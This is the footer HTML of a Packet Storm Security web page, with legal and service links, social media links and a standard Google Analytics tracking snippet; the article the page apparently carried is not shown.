      <dd><a href="/legal/privacy.html">Privacy Statement</a></dd>
      <dd><a href="/legal/copyright.html">Copyright Information</a></dd>
    </dl>
    </div>

    <div class="f-box">
	<dl>
      <dt>Services</dt>
      <dd><a href="/services/">Security Services</a></dd>
      <dt style="margin-top:1.5em;">Hosting By</dt>
      <dd><a href="http://www.rokasecurity.com/">Rokasec</a></dd>
    </dl>   
    </div>
    <div class="f-box">
    <ul class="f-follow">
     <li><a href="https://twitter.com/packet_storm"><img width="24" height="24" alt="Follow on Twitter" src="https://packetstatic.com/img1514015884/s_twitter.png" /> Follow us on Twitter</a></li>
     <li><a href="https://www.facebook.com/packetstormfeed"><img width="24" height="24" alt="Follow on Facebook" src="https://packetstatic.com/img1514015884/s_facebook.png" /> Follow us on Facebook</a></li>
     <li><a href="/feeds"><img width="24" height="24" alt="View RSS Feeds" src="https://packetstatic.com/img1514015884/s_rss.png" /> Subscribe to an RSS Feed</a></li>
    </ul>
    </div>

  </div>
</div>

<div id="o-box"><img src="https://packetstatic.com/img1514015884/o_close.png" alt="close" height="30" width="30" id="o-close" /><div id="o-main"></div></div>


<script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-18885198-1']); _gaq.push (['_gat._anonymizeIp']); _gaq.push(['_setDomainName', '.packetstormsecurity.com']); _gaq.push(['_trackPageview']); (function() {var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.googleanalytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);})(); </script><noscript><img src="https://ssl.google-analytics.com/__utm.gif?utmwv=1.3&amp;utmn=1010968856&amp;utmcs=ISO-8859-1&amp;utmsr=31337x31337&amp;utmsc=32-bit&amp;utmul=en-us&amp;utmje=0&amp;utmfl=-&amp;utmcn=1&amp;utmdt=0x4553-Static_Infecting.html%u2248%20Packet%20Storm&amp;utmhn=packetstormsecurity.com&amp;utmr=-&amp;utmp=%2Ffiles%2F34013%2F0x4553-Static_Infecting.html&amp;utmac=UA-18885198-1&amp;utmcc=__utma%3D32867617.1010968856.1650349637.1650349637.1650349637.1%3B%2B__utmz%3D32867617.1650349637.1.1.utmccn%3D(direct)%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)" width="2" height="2" alt="" /></noscript>
<!-- Tue, 19 Apr 2022 06:27:17 GMT -->
</body>
</html>
